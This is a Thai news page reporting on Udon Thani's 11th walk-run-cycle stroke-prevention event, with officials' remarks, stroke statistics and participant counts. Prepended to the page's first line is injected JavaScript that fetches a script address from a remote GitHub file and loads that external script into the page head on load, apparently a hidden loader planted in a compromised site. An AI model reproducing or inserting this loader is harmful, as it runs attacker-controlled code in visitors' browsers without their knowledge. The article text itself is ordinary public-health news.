;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); อุดรธานี เปิดโครงการ “เดิน วิ่ง ปั่น ป้องกันอัมพาต ครั้งที่ 11” ชวนชาวเมือง “โน สโตรค” มุ่งออกกำลังกายเป็นนิสัย - ThaiReference | อาสาไทยยืนยัน
อุดรธานี เปิดโครงการ “เดิน วิ่ง ปั่น ป้องกันอัมพาต ครั้งที่ 11” ชวนชาวเมือง “โน สโตรค” มุ่งออกกำลังกายเป็นนิสัย

นายราชันย์ ซุนหั้ว ผู้ว่าราชการจังหวัดอุดรธานี ได้ให้เกียรติเป็นประธานเปิด “โครงการแสงนำใจไทยทั้งชาติ เดิน วิ่ง ปั่น ป้องกันอัมพาต ครั้งที่ 11 เฉลิมพระเกียรติ จังหวัดอุดรธานี” ณ สวนสาธารณะหนองประจักษ์ศิลปาคม อำเภอเมืองอุดรธานี ท่ามกลางประชาชนที่เข้าร่วมกิจกรรมกว่า 2,500 คน   ก่อนเริ่มพิธีเปิดกิจกรรมอย่างเป็นทางการ ผู้เข้าร่วมงานทั้งหมดได้ร่วมกันยืนสงบนิ่งเป็นเวลา 93 วินาที เพื่อถวายความอาลัยและน้อมรำลึกในพระมหากรุณาธิคุณของสมเด็จพระพันปีหลวง

ดร.นพ.สมชายโชติ ปิยวัชร์เวลา นายแพทย์สาธารณสุขจังหวัดอุดรธานี ได้กล่าวรายงานต่อประธานในพิธี โดยเปิดเผยว่า โครงการดังกล่าวจัดต่อเนื่องเป็นปีที่ 11 โดยความร่วมมือกับศูนย์โรคหลอดเลือดสมองศิริราชฯ ภายใต้หัวข้อ “ออกกำลังกายเป็นนิสัย ห่างไกลสโตรค (No Stop No STROKE)” เพื่อเฉลิมพระเกียรติพระบาทสมเด็จพระเจ้าอยู่หัว และสมเด็จพระนางเจ้าพระบรมราชินีฯ ที่ทรงเป็นแบบอย่างในการรักษาสุขภาพ และสร้างความตระหนักรู้ถึงภัยร้ายของโรคหลอดเลือดสมอง

นพ.สมชายโชติ เน้นย้ำถึงสถานการณ์ที่น่ากังวลว่า โรคหลอดเลือดสมองเป็นสาเหตุการตายอันดับ 2 ของโลก และในประเทศไทยมีผู้ป่วยรายใหม่สูงถึง 300,000 คนต่อปี ขณะที่ข้อมูลปี 2567 พบว่า จังหวัดอุดรธานีมีผู้ป่วยรายใหม่ถึง 4,767 คน เฉลี่ยวันละ 13 ราย ซึ่งมีจำนวนเพิ่มขึ้นทุกปี

“จึงขอให้ประชาชนตระหนักและรีบไปโรงพยาบาลทันที หากมีอาการปากเบี้ยว แขนขาอ่อนแรงข้างใดข้างหนึ่ง หรือพูดไม่ชัด เพื่อให้ทันต่อการรักษาในช่องทางด่วน (Stroke Fast Track) ลดความพิการและอัตราการเสียชีวิต”

กิจกรรม “เดิน วิ่ง ปั่น ป้องกันอัมพาต ครั้งที่ 11” ในวันนี้ ประกอบด้วย การเดิน 5 กม., วิ่ง 10 กม. และปั่นจักรยาน 39.2 กม. (จากหนองประจักษ์ฯ ถึงอำเภอหนองแสง) ซึ่งมียอดผู้ลงทะเบียนทั้งสิ้น 26,140 คน และมีผู้เข้าร่วมกิจกรรมในวันนี้จำนวน 2,500 คน โดยแบ่งเป็นผู้ร่วมเดิน-วิ่ง 2,000 คน และปั่นจักรยาน 500 คน โดยได้รับความร่วมมือจากทุกภาคส่วนในจังหวัด